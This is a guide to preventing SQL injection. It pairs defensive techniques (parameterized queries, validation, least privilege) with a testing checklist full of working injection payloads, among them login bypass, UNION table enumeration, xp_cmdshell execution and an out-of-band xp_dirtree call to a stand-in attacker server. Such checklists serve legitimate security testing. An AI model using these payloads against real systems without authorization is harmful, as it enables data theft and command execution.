SQL Injection prevention

What SQL Injection is

SQL injection (SQLi) is a significant web security vulnerability that allows attackers to manipulate SQL queries. By inserting harmful SQL code into input fields, they can access databases, steal sensitive information, or modify and delete data.

Attack mechanism

Common Attack Vectors to Guard Against

• ' OR '1'='1
• ; DROP TABLE users;--
• ' UNION SELECT * FROM sensitive_data;--
• '; EXEC xp_cmdshell('net user');--

We can prevent SQL injection attacks using various techniques, such as:

• Parameterized Queries

-- Good
SELECT * FROM users WHERE username = ? AND password = ?

-- Bad
SELECT * FROM users WHERE username = '" + username + "'

• Input Validation

# Whitelist approach
def validate_input(input_str):
    return bool(re.match('^[a-zA-Z0-9_]+$', input_str))

# Type validation
def validate_id(id_value):
    return isinstance(id_value, int) and id_value > 0

• Escaping Special Characters

def escape_string(value):
    return value.replace("'", "''").replace("\\", "\\\\")

• Stored Procedures

CREATE PROCEDURE GetUserData
    @username varchar(50)
AS
BEGIN
    SELECT * FROM users WHERE username = @username
END

• Database User Permissions

-- Restrict to minimum required privileges
GRANT SELECT, INSERT ON users TO 'app_user'@'localhost';
REVOKE DROP, ALTER ON users FROM 'app_user'@'localhost';

• Use Web Application Firewalls (WAF)
• Implement query timeout limits
• Enable prepared statement caching
• Use connection pooling with sanitized connections

Tools to consider

• Burp Suite
• SQLmap
• OWASP ZAP
• sqlninja
• havij

Recommendation

• Test all input fields
• Test different HTTP methods
• Document everything
• Verify fixes
• Test in all environments

As an engineer, we recommend using a checklist to ensure that your code is tested and covers SQL injection vulnerabilities.

# SQL Injection Testing Checklist

## 1. Basic Tests
- [ ] Single quote test: `'`
- [ ] Double quote test: `"`
- [ ] Semicolon test: `;`
- [ ] Comment tests: `--`, `#`, `/**/`
- [ ] OR/AND tests: `' OR '1'='1`, `' AND '1'='1`

## 2. Authentication Bypass
- [ ] Login bypass: `' OR 1=1--`
- [ ] Password field: `' OR 'x'='x`
- [ ] Username enumeration: `' OR username LIKE 'a%`
- [ ] Empty password: `' OR 'x'='x'#`

## 3. UNION Attacks
- [ ] Column count: `' UNION SELECT NULL--` (increment NULLs)
- [ ] Data type discovery: `' UNION SELECT 'a',NULL,NULL--`
- [ ] Table enumeration: `' UNION SELECT table_name,NULL FROM information_schema.tables--`
- [ ] Column enumeration: `' UNION SELECT column_name,NULL FROM information_schema.columns--`

## 4. Blind SQL Injection
- [ ] Boolean-based: `' AND 1=1--` vs `' AND 1=2--`
- [ ] Time-based: `' AND SLEEP(5)--`
- [ ] Out-of-band: `'; EXEC master..xp_dirtree '\\attacker-server\share'`

## 5. Error-Based Tests
- [ ] Type conversion: `' AND 1=CONVERT(int,(SELECT @@VERSION))--`
- [ ] XML parsing: `' AND ExtractValue(1,CONCAT(0x7e,version()))--`
- [ ] Arithmetic operations: `' AND 1=(SELECT 1/0)--`

## 6. Special Characters
- [ ] Encoded characters: `%27`, `%20`, `%00`
- [ ] Unicode: `Á`, `Â`, `Ã`
- [ ] Special whitespace: tab, newline, carriage return
- [ ] NULL byte: `%00`

## 7. Input Validation Tests
- [ ] Case sensitivity: `UnIoN`, `SeLeCt`
- [ ] Whitespace variations: `'/**/OR/**/1=1`
- [ ] Alternative operators: `' || '1'='1`, `' && '1'='1`
- [ ] String concatenation: `'+'1'+'='+'1`

## 8. Database-Specific Tests
### MySQL
- [ ] Information gathering: `VERSION()`, `DATABASE()`
- [ ] String operations: `CONCAT()`, `GROUP_CONCAT()`
- [ ] File operations: `LOAD_FILE()`, `INTO OUTFILE`

### SQL Server
- [ ] System commands: `xp_cmdshell`
- [ ] File operations: `bulk insert`
- [ ] Registry access: `xp_regread`

### Oracle
- [ ] PL/SQL injection: `EXECUTE IMMEDIATE`
- [ ] HTTP requests: `UTL_HTTP`
- [ ] File operations: `UTL_FILE`

## 9. Advanced Tests
- [ ] Second-order injection
- [ ] Stored procedure injection
- [ ] Mass assignment
- [ ] Parameter pollution
- [ ] HTTP header injection

## 10. Security Controls Verification
- [ ] Input sanitization
- [ ] Prepared statements
- [ ] Stored procedures
- [ ] WAF bypass attempts
- [ ] Error message disclosure
- [ ] Access control verification

## Documentation Requirements
- [ ] Test case ID
- [ ] Input vectors used
- [ ] Expected results
- [ ] Actual results
- [ ] Screenshots/evidence
- [ ] Severity rating
- [ ] Remediation steps